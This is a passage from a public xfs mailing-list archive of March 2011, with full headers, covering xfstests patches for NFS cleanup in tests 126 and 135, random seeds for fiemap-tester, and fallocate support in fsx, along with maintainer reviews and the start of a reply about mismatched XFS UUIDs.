[10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id p28DTMwC004539 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 8 Mar 2011 08:29:22 -0500 Received: from [10.34.26.208] (dhcp-26-208.brq.redhat.com [10.34.26.208]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id p28DTLxJ031268; Tue, 8 Mar 2011 08:29:21 -0500 X-ASG-Orig-Subj: Re: xfstests: change directory to / before _cleanup_testdir in test 135 Subject: Re: xfstests: change directory to / before _cleanup_testdir in test 135 From: Boris Ranto To: aelder@sgi.com Cc: xfs In-Reply-To: <1299528749.2578.821.camel@doink> References: <1299511558.3183.115.camel@dhcp-31-190.brq.redhat.com> <1299528749.2578.821.camel@doink> Content-Type: text/plain; charset="UTF-8" Date: Tue, 08 Mar 2011 14:29:20 +0100 Message-ID: <1299590960.12867.102.camel@dhcp-31-190.brq.redhat.com> Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1299590963 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, 2011-03-07 at 14:12 -0600, Alex Elder wrote: > On Mon, 2011-03-07 at 16:25 +0100, Boris Ranto wrote: > > Nfs tries to umount $testdir in _cleanup_testdir function. The test 135 calls the function from directory $SCRATCH_MNT that is equal to $testdir (at least for nfs). The umount will therefore fail causing the test to fail due to the output mismatch. > > > > This simple patch fixes the issue for me. > > > > Signed-off-by: Boris Ranto > > This looks OK to me. Most other tests do this chdir > in their cleanup function. > > I did a quick scan and found that test 126 may suffer the > same problem. Can you check this? We could include the > fix for both tests in the same commit. > Yes, the test needs cd /, too. Actually the test 126 also does double umount thanks to the _cleanup before exit and the trap command. So the removal of the call of the _cleanup function before exit is necessary, too. > > It also looks to me like tests 069, 089 might have a > similar issue if they get interrupted. Yes, that's also true, if the tests are interrupted and then immediately run again the umount will fail due to the processes in background but I'm not sure whether it is worth fixing (and if there is a good way to fix it). I've had bigger problems with double mount/umount in several tests (namely: double umount - 124, 128, double mount - 129, 130). The double umounts occur due to the use of trapped _cleanup and umount $SCRATCH_MNT in the tests. The double mounts occur due to the use of _setup_testdir and _scratch_mount (both of them mount $SCRATCH_MNT in the nfs case). The problem is that I'm not sure how to fix these without any change in the behaviour. > > -Alex > > > diff -urpN a/xfstests/135 b/xfstests/135 > > --- a/xfstests/135 2011-03-07 14:54:15.855172101 +0100 > > +++ b/xfstests/135 2011-03-07 14:54:29.895048375 +0100 > > @@ -34,6 +34,7 @@ trap "_cleanup; exit \$status" 0 1 2 3 1 > > > > _cleanup() > > { > > + cd / > > _cleanup_testdir > > } > > > > > > _______________________________________________ > > xfs mailing list > > xfs@oss.sgi.com > > http://oss.sgi.com/mailman/listinfo/xfs > > > I suppose that at least this patch could be committed, now: diff -urpN a/xfstests/126 b/xfstests/126 --- a/xfstests/126 2011-03-07 14:52:09.038172203 +0100 +++ b/xfstests/126 2011-03-08 14:18:28.754172294 +0100 @@ -34,6 +34,7 @@ trap "_cleanup; exit \$status" 0 1 2 3 1 _cleanup() { + cd / _cleanup_testdir } @@ -73,5 +74,4 @@ $QA_FS_PERMS 040 99 99 99 500 r 1 $QA_FS_PERMS 400 99 99 200 99 r 1 status=0 -_cleanup exit diff -urpN a/xfstests/135 b/xfstests/135 --- a/xfstests/135 2011-03-07 14:54:15.855172101 +0100 +++ b/xfstests/135 2011-03-07 14:54:29.895048375 +0100 @@ -34,6 +34,7 @@ trap "_cleanup; exit \$status" 0 1 2 3 1 _cleanup() { + cd / _cleanup_testdir } From sandeen@redhat.com Tue Mar 8 09:36:58 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p28Faw4p242749 for ; Tue, 8 Mar 2011 09:36:58 -0600 X-ASG-Debug-ID: 1299598792-4c9a03d60000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from mx1.redhat.com (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 63D141B06576 for ; Tue, 8 Mar 2011 07:39:52 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id djolqe57oExYqAIb for ; Tue, 08 Mar 2011 07:39:52 -0800 (PST) X-ASG-Whitelist: Barracuda Reputation Received: from int-mx12.intmail.prod.int.phx2.redhat.com (int-mx12.intmail.prod.int.phx2.redhat.com [10.5.11.25]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id p28FdnAg032094 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 8 Mar 2011 10:39:49 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx12.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id p28FdmPf019893 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Tue, 8 Mar 2011 10:39:49 -0500 Message-ID: <4D764DC4.4030506@redhat.com> Date: Tue, 08 Mar 2011 09:39:48 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.14) Gecko/20110221 Thunderbird/3.1.8 MIME-Version: 1.0 To: xfs-oss CC: Chris Mason X-ASG-Orig-Subj: [PATCH] xfstests 225: Run with different random seeds Subject: [PATCH] xfstests 225: Run with different random seeds Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.25 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1299598793 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Running the fiemap-tester with a unique random seed each time may uncover some things missed by always using the default. Signed-off-by: Eric Sandeen --- diff --git a/225 b/225 index 2dea3c2..76be888 100755 --- a/225 +++ b/225 @@ -60,11 +60,15 @@ _cleanup() } trap "_cleanup; exit \$status" 0 1 2 3 15 +seed=`date +%s` + +echo "using seed $seed" >> $fiemaplog + echo "fiemap run without preallocation, with sync" -$here/src/fiemap-tester -q -S -p 0 -r 200 $fiemapfile 2>&1 | tee $fiemaplog +$here/src/fiemap-tester -q -S -s $seed -p 0 -r 200 $fiemapfile 2>&1 | tee -a $fiemaplog echo "fiemap run without preallocation or sync" -$here/src/fiemap-tester -q -p 0 -r 200 $fiemapfile 2>&1 | tee $fiemaplog +$here/src/fiemap-tester -q -s $seed -p 0 -r 200 $fiemapfile 2>&1 | tee -a $fiemaplog if grep -q "Operation not supported" $fiemaplog; then _notrun "FIEMAP not supported by this filesystem type: $FSTYP" From aelder@sgi.com Tue Mar 8 13:47:50 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p28Jloo9256233 for ; Tue, 8 Mar 2011 13:47:50 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4D275AC00C; Tue, 8 Mar 2011 11:50:42 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 8 Mar 2011 13:50:41 -0600 Subject: Re: [PATCH] xfstests: add fallocate calls to fsx From: Alex Elder Reply-To: aelder@sgi.com To: Eric Sandeen Cc: xfs-oss , ext4 development In-Reply-To: <4D6BDC2A.4020308@redhat.com> References: <4D6BDC2A.4020308@redhat.com> Content-Type: text/plain; charset="UTF-8" Date: Tue, 08 Mar 2011 13:50:41 -0600 Message-ID: <1299613841.2716.13.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 08 Mar 2011 19:50:41.0908 (UTC) FILETIME=[1B2A4B40:01CBDDCA] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, 2011-02-28 at 11:32 -0600, Eric Sandeen wrote: > (Sending one more time, hoping for a real reviewed-by) :) > > Add random runtime fallocate calls to fsx (vs. the existing > preallocate file at start of run). > > Signed-off-by: Eric Sandeen > --- > > diff --git a/aclocal.m4 b/aclocal.m4 > index 6457d39..70ea0f3 100644 > --- a/aclocal.m4 > +++ b/aclocal.m4 > @@ -18,6 +18,17 @@ AC_DEFUN([AC_PACKAGE_WANT_LINUX_FIEMAP_H], > > AC_DEFUN([AC_PACKAGE_WANT_FALLOCATE], > [ AC_MSG_CHECKING([for fallocate]) > + AC_TRY_COMPILE([ > +#include > + ], [ > + fallocate(0, 0, 0, 0); > + ], have_fallocate=true > + AC_MSG_RESULT(true), > + AC_MSG_RESULT(false)) > + AC_SUBST(have_fallocate) > + ]) > +AC_DEFUN([AC_PACKAGE_WANT_FALLOCATE], > + [ AC_MSG_CHECKING([for fallocate]) > AC_TRY_LINK([ > #define _GNU_SOURCE > #define _FILE_OFFSET_BITS 64 > diff --git a/include/builddefs.in b/include/builddefs.in > index 3bea050..0d51715 100644 > --- a/include/builddefs.in > +++ b/include/builddefs.in > @@ -58,6 +58,7 @@ RPM_VERSION = @rpm_version@ > ENABLE_SHARED = @enable_shared@ > HAVE_DB = @have_db@ > HAVE_AIO = @have_aio@ > +HAVE_FALLOCATE = @have_fallocate@ > HAVE_DMAPI = @have_dmapi@ > HAVE_ATTR_LIST = @have_attr_list@ > HAVE_FIEMAP = @have_fiemap@ > diff --git a/ltp/Makefile b/ltp/Makefile > index d74a9df..f3899e1 100644 > --- a/ltp/Makefile > +++ b/ltp/Makefile > @@ -27,6 +27,10 @@ LCFLAGS += -DAIO > LLDLIBS += -laio -lpthread > endif > > +ifeq ($(HAVE_FALLOCATE), true) > +LCFLAGS += -DFALLOCATE > +endif > + > default: depend $(TARGETS) > > include $(BUILDRULES) > diff --git a/ltp/fsx.c b/ltp/fsx.c > index 1167d72..b95431e 100644 > --- a/ltp/fsx.c > +++ b/ltp/fsx.c > @@ -32,6 +32,9 @@ > #ifdef AIO > #include > #endif > +#ifdef FALLOCATE > +#include > +#endif > > #ifndef MAP_FILE > # define MAP_FILE 0 > @@ -65,6 +68,7 @@ int logcount = 0; /* total ops */ > #define OP_MAPREAD 5 > #define OP_MAPWRITE 6 > #define OP_SKIPPED 7 > +#define OP_FALLOCATE 8 > > #undef PAGE_SIZE > #define PAGE_SIZE getpagesize() > @@ -105,6 +109,11 @@ long numops = -1; /* -N flag */ > int randomoplen = 1; /* -O flag disables it */ > int seed = 1; /* -S flag */ > int mapped_writes = 1; /* -W flag disables */ > +#ifdef FALLOCATE > +int fallocate_calls = 1; /* -F flag disables */ > +#else > +int fallocate_calls = 0; /* -F flag disables */ > +#endif > int mapped_reads = 1; /* -R flag disables it */ > int fsxgoodfd = 0; > int o_direct; /* -Z */ > @@ -202,6 +211,7 @@ logdump(void) > { > int i, count, down; > struct log_entry *lp; > + char *falloc_type[3] = {"PAST_EOF", "EXTENDING", "INTERIOR"}; > > prt("LOG DUMP (%d total operations):\n", logcount); > if (logcount < LOGSIZE) { > @@ -265,6 +275,14 @@ logdump(void) > badoff < lp->args[!!down]) > prt("\t******WWWW"); > break; > + case OP_FALLOCATE: > + /* 0: offset 1: length 2: where alloced */ > + prt("FALLOCATE %s\tfrom 0x%x to 0x%x", > + falloc_type[lp->args[2]], lp->args[0], lp->args[0] + lp->args[1]); > + if (badoff >= lp->args[0] && > + badoff < lp->args[0] + lp->args[1]) > + prt("\t******FFFF"); > + break; > case OP_SKIPPED: > prt("SKIPPED (no operation)"); > break; > @@ -770,6 +788,64 @@ dotruncate(unsigned size) > } > } > > +#ifdef FALLOCATE > +/* fallocate is basically a no-op unless extending, then a lot like a truncate */ > +void > +dofallocate(unsigned offset, unsigned length) > +{ > + unsigned end_offset; > + int keep_size; > + > + if (length == 0) { > + if (!quiet && testcalls > simulatedopcount) > + prt("skipping zero length fallocate\n"); > + log4(OP_SKIPPED, OP_FALLOCATE, offset, length); > + return; > + } > + > + keep_size = random() % 2; > + > + end_offset = keep_size ? 0 : offset + length; > + > + if (end_offset > biggest) { > + biggest = end_offset; > + if (!quiet && testcalls > simulatedopcount) > + prt("fallocating to largest ever: 0x%x\n", end_offset); > + } > + > + /* > + * last arg: > + * 1: allocate past EOF > + * 2: extending prealloc > + * 3: interior prealloc > + */ > + log4(OP_FALLOCATE, offset, length, (end_offset > file_size) ? (keep_size ? 1 : 2) : 3); > + > + if (end_offset > file_size) { > + memset(good_buf + file_size, '\0', end_offset - file_size); > + file_size = end_offset; > + } > + > + if (testcalls <= simulatedopcount) > + return; > + > + if ((progressinterval && testcalls % progressinterval == 0) || > + (debug && (monitorstart == -1 || monitorend == -1 || > + end_offset <= monitorend))) > + prt("%lu falloc\tfrom 0x%x to 0x%x\n", testcalls, offset, length); > + if (fallocate(fd, keep_size ? FALLOC_FL_KEEP_SIZE : 0, (loff_t)offset, (loff_t)length) == -1) { > + prt("fallocate: %x to %x\n", offset, length); > + prterr("dofallocate: fallocate"); > + report_failure(161); > + } > +} > +#else > +void > +dofallocate(unsigned offset, unsigned length) > +{ > + return; > +} > +#endif > > void > writefileimage() > @@ -823,7 +899,7 @@ test(void) > unsigned long offset; > unsigned long size = maxoplen; > unsigned long rv = random(); > - unsigned long op = rv % (3 + !lite + mapped_writes); > + unsigned long op = rv % (3 + !lite + mapped_writes + fallocate_calls); > > /* turn off the map read if necessary */ > > @@ -845,22 +921,33 @@ test(void) > prt("%lu...\n", testcalls); > > /* > - * READ: op = 0 > - * WRITE: op = 1 > - * MAPREAD: op = 2 > - * TRUNCATE: op = 3 > - * MAPWRITE: op = 3 or 4 > + * lite !lite > + * READ: op = 0 0 > + * WRITE: op = 1 1 > + * MAPREAD: op = 2 2 > + * TRUNCATE: op = - 3 > + * MAPWRITE: op = 3 4 > + * FALLOCATE: op = - 5 > */ > if (lite ? 0 : op == 3 && (style & 1) == 0) /* vanilla truncate? */ > dotruncate(random() % maxfilelen); > else { > if (randomoplen) > size = random() % (maxoplen+1); > + > + /* truncate */ > if (lite ? 0 : op == 3) > dotruncate(size); > else { > offset = random(); > - if (op == 1 || op == (lite ? 3 : 4)) { > + /* fallocate */ > + if (op == 5) { > + offset %= maxfilelen; > + if (offset + size > maxfilelen) > + size = maxfilelen - offset; > + dofallocate(offset, size); > + /* write / mapwrite */ > + } else if (op == 1 || op == (lite ? 3 : 4)) { ... and "write / mapwrite" would go here ... > offset %= maxfilelen; > if (offset + size > maxfilelen) > size = maxfilelen - offset; > @@ -868,6 +955,7 @@ test(void) > domapwrite(offset, size); > else > dowrite(offset, size); > + /* read / mapread */ > } else { ... and "read / mapread" would go here. > if (file_size) > offset %= file_size; . . . From aelder@sgi.com Tue Mar 8 13:57:53 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.7 required=5.0 tests=BAYES_00,J_CHICKENPOX_43, J_CHICKENPOX_92 autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p28JvrFR256549 for ; Tue, 8 Mar 2011 13:57:53 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay3.corp.sgi.com (Postfix) with ESMTP id D2929AC00A; Tue, 8 Mar 2011 12:00:47 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 8 Mar 2011 14:00:47 -0600 Subject: Re: [PATCH] xfstests: add fallocate calls to fsx From: Alex Elder Reply-To: aelder@sgi.com To: Eric Sandeen Cc: xfs-oss , ext4 development In-Reply-To: <4D6BDC2A.4020308@redhat.com> References: <4D6BDC2A.4020308@redhat.com> Content-Type: text/plain; charset="UTF-8" Date: Tue, 08 Mar 2011 14:00:47 -0600 Message-ID: <1299614447.2716.32.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 08 Mar 2011 20:00:47.0490 (UTC) FILETIME=[841EC620:01CBDDCB] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Mon, 2011-02-28 at 11:32 -0600, Eric Sandeen wrote: > (Sending one more time, hoping for a real reviewed-by) :) > > Add random runtime fallocate calls to fsx (vs. the existing > preallocate file at start of run). Whoops. I'm not sure what keyboard shortcut I hit on that last one but I managed to fire off that message before I'd actually written it. Here's another try. Bottom line is, this looks good to me, but I do have a few things for you to consider before you commit it. Reviewed-by: Alex Elder > Signed-off-by: Eric Sandeen > --- . . . > diff --git a/ltp/fsx.c b/ltp/fsx.c > index 1167d72..b95431e 100644 > --- a/ltp/fsx.c > +++ b/ltp/fsx.c > @@ -105,6 +109,11 @@ long numops = -1; /* -N flag */ > int randomoplen = 1; /* -O flag disables it */ > int seed = 1; /* -S flag */ > int mapped_writes = 1; /* -W flag disables */ > +#ifdef FALLOCATE > +int fallocate_calls = 1; /* -F flag disables */ > +#else > +int fallocate_calls = 0; /* -F flag disables */ > +#endif I think you should just skip the conditional initialization here and just assign it the value 1. (I point out below what I suggest you do instead.) > int mapped_reads = 1; /* -R flag disables it */ > int fsxgoodfd = 0; > int o_direct; /* -Z */ . . . > @@ -845,22 +921,33 @@ test(void) > prt("%lu...\n", testcalls); > > /* > - * READ: op = 0 > - * WRITE: op = 1 > - * MAPREAD: op = 2 > - * TRUNCATE: op = 3 > - * MAPWRITE: op = 3 or 4 > + * lite !lite > + * READ: op = 0 0 > + * WRITE: op = 1 1 > + * MAPREAD: op = 2 2 > + * TRUNCATE: op = - 3 > + * MAPWRITE: op = 3 4 > + * FALLOCATE: op = - 5 > */ > if (lite ? 0 : op == 3 && (style & 1) == 0) /* vanilla truncate? */ > dotruncate(random() % maxfilelen); > else { > if (randomoplen) > size = random() % (maxoplen+1); > + > + /* truncate */ > if (lite ? 0 : op == 3) This is not huge, but I personally would rather see these comments *inside* the block they're describing. So the "truncate" comment would go here, ... > dotruncate(size); > else { > offset = random(); > - if (op == 1 || op == (lite ? 3 : 4)) { > + /* fallocate */ > + if (op == 5) { ...the "fallocate" comment would go here... > + offset %= maxfilelen; > + if (offset + size > maxfilelen) > + size = maxfilelen - offset; > + dofallocate(offset, size); > + /* write / mapwrite */ > + } else if (op == 1 || op == (lite ? 3 : 4)) { ...the "write / mapwrite" comment would go here... > offset %= maxfilelen; > if (offset + size > maxfilelen) > size = maxfilelen - offset; > @@ -868,6 +955,7 @@ test(void) > domapwrite(offset, size); > else > dowrite(offset, size); > + /* read / mapread */ > } else { ...and the "read / mapread" comment would go here. > if (file_size) > offset %= file_size; . . . > @@ -1331,6 +1425,16 @@ main(int argc, char **argv) > } else > check_trunc_hack(); > > +#ifdef FALLOCATE > + if (!lite && fallocate_calls) { > + if (fallocate(fd, 0, 0, 1) && errno == EOPNOTSUPP) { > + warn("main: filesystem does not support fallocate, disabling"); > + fallocate_calls = 0; > + } else > + ftruncate(fd, 0); > + } Add this here (rather than the conditional initialization on top): #else /* ! FALLOCATE */ fallocate_calls = 0; > +#endif > + > while (numops == -1 || numops--) > test(); > > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From aelder@sgi.com Tue Mar 8 14:07:20 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p28K7KvU256903 for ; Tue, 8 Mar 2011 14:07:20 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5B1CA8F8035; Tue, 8 Mar 2011 12:10:09 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 8 Mar 2011 14:10:09 -0600 Subject: Re: [PATCH] xfstests 225: Run with different random seeds From: Alex Elder Reply-To: aelder@sgi.com To: Eric Sandeen Cc: xfs-oss , Chris Mason In-Reply-To: <4D764DC4.4030506@redhat.com> References: <4D764DC4.4030506@redhat.com> Content-Type: text/plain; charset="UTF-8" Date: Tue, 08 Mar 2011 14:10:08 -0600 Message-ID: <1299615008.2716.44.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 08 Mar 2011 20:10:09.0244 (UTC) FILETIME=[D2F3A1C0:01CBDDCC] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, 2011-03-08 at 09:39 -0600, Eric Sandeen wrote: > Running the fiemap-tester with a unique random seed each time > may uncover some things missed by always using the default. > > Signed-off-by: Eric Sandeen Looks good. Reviewed-by: Alex Elder From aelder@sgi.com Tue Mar 8 14:11:25 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p28KBOZt257057 for ; Tue, 8 Mar 2011 14:11:25 -0600 Received: from cf--amer001e--3.americas.sgi.com (cf--amer001e--3.americas.sgi.com [137.38.100.5]) by relay2.corp.sgi.com (Postfix) with ESMTP id 130C630408B; Tue, 8 Mar 2011 12:14:13 -0800 (PST) Received: from [127.0.0.1] ([128.162.232.50]) by cf--amer001e--3.americas.sgi.com with Microsoft SMTPSVC(6.0.3790.3959); Tue, 8 Mar 2011 14:14:13 -0600 Subject: Re: xfstests: change directory to / before _cleanup_testdir in test 135 From: Alex Elder Reply-To: aelder@sgi.com To: Boris Ranto Cc: xfs In-Reply-To: <1299590960.12867.102.camel@dhcp-31-190.brq.redhat.com> References: <1299511558.3183.115.camel@dhcp-31-190.brq.redhat.com> <1299528749.2578.821.camel@doink> <1299590960.12867.102.camel@dhcp-31-190.brq.redhat.com> Content-Type: text/plain; charset="UTF-8" Date: Tue, 08 Mar 2011 14:14:13 -0600 Message-ID: <1299615253.2716.52.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 08 Mar 2011 20:14:13.0870 (UTC) FILETIME=[64C298E0:01CBDDCD] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, 2011-03-08 at 14:29 +0100, Boris Ranto wrote: > On Mon, 2011-03-07 at 14:12 -0600, Alex Elder wrote: > > On Mon, 2011-03-07 at 16:25 +0100, Boris Ranto wrote: > > > Nfs tries to umount $testdir in _cleanup_testdir function. The test 135 calls the function from directory $SCRATCH_MNT that is equal to $testdir (at least for nfs). The umount will therefore fail causing the test to fail due to the output mismatch. > > > > > > This simple patch fixes the issue for me. > > > > > > Signed-off-by: Boris Ranto > > > > This looks OK to me. Most other tests do this chdir > > in their cleanup function. > > > > I did a quick scan and found that test 126 may suffer the > > same problem. Can you check this? We could include the > > fix for both tests in the same commit. > > > > Yes, the test needs cd /, too. Actually the test 126 also does double > umount thanks to the _cleanup before exit and the trap command. So the > removal of the call of the _cleanup function before exit is necessary, > too. I will commit this patch, fixing the problems in 126 and 135. I'll massage the commit message a bit to fit what it does, and the your discussion here. I'm not going to do anything (at the moment) about the double mount/umount issues you mention. Thanks for submitting the fixes. -Alex > > > > It also looks to me like tests 069, 089 might have a > > similar issue if they get interrupted. > > Yes, that's also true, if the tests are interrupted and then immediately > run again the umount will fail due to the processes in background but > I'm not sure whether it is worth fixing (and if there is a good way to > fix it). > I've had bigger problems with double mount/umount in several tests > (namely: double umount - 124, 128, double mount - 129, 130). The double > umounts occur due to the use of trapped _cleanup and umount $SCRATCH_MNT > in the tests. The double mounts occur due to the use of _setup_testdir > and _scratch_mount (both of them mount $SCRATCH_MNT in the nfs case). > The problem is that I'm not sure how to fix these without any change in > the behaviour. > > > > > -Alex > > . . . From david@fromorbit.com Tue Mar 8 18:47:25 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.1 required=5.0 tests=BAYES_00,LONGWORDS autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p290lOjB006739 for ; Tue, 8 Mar 2011 18:47:25 -0600 X-ASG-Debug-ID: 1299631816-09d502f20000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail04.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 532C5133C2B5 for ; Tue, 8 Mar 2011 16:50:16 -0800 (PST) Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id 3xJUgJsVaW5Yp2fe for ; Tue, 08 Mar 2011 16:50:16 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvsEALdadk15LK5J/2dsb2JhbACmZnXBaQ2FVgQ Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail04.adl6.internode.on.net with ESMTP; 09 Mar 2011 11:20:14 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Px7bR-0000io-IZ; Wed, 09 Mar 2011 11:50:13 +1100 Date: Wed, 9 Mar 2011 11:50:13 +1100 From: Dave Chinner To: Vincent McIntyre Cc: "xfs@oss.sgi.com" X-ASG-Orig-Subj: Re: correct procedure for mismatched UUIDs (error 117) Subject: Re: correct procedure for mismatched UUIDs (error 117) Message-ID: <20110309005013.GG1956@dastard> References: <20110308022451.GC32056@mayhem.atnf.CSIRO.AU> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110308022451.GC32056@mayhem.atnf.CSIRO.AU> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1299631818 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: 1.18 X-Barracuda-Spam-Status: No, SCORE=1.18 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=LONGWORDS, LONGWORDS_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57456 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 LONGWORDS Long string of long words 3.20 LONGWORDS_2 Long string of long words X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Tue, Mar 08, 2011 at 01:24:51PM +1100, Vincent McIntyre wrote: > Hi, > > I had a problem with an xfs filesystem that somehow ended up with > a mismatch between the UUID recorded in the superblock and the log. > > My question is - what would have been the correct procedure here? > I know this should "never happen". But it has, in an extreme corner > case, and I'd be interested to know if there was anything different > we could have done. (Besides mounting by UUID in the first place...) > > Here's what we did. > > The platform is Debian Lenny, 64-bit. > % uname -a > Linux debian 2.6.26-2-amd64 #1 SMP Tue Jan 25 05:59:43 UTC 2011 x86_64 GNU/Linux > % dpkg -l|grep xfs > ii xfsdump 2.2.48-1 Administrative utilities for the XFS filesystem > ii xfsprogs 2.9.8-1lenny1 Utilities for managing the XFS filesystem > > We are using multipath-tools to address the storage. > % dpkg -l |grep multipath > ii multipath-tools 0.4.8-14+lenny2 maintain multipath block device access > ii multipath-tools-boot 0.4.8-14+lenny2 Support booting from multipath devices > > We've used this successfully before, with the same combination > of storage (Promise Vtrak E610f) and fibre channel switch (QLogic SB5202). > The filesystems were both whole-disk partitions on 9.6Tb disks. > > What we think caused the problem was: > * we are using the user-friendly names feature of multipath-tools > * we 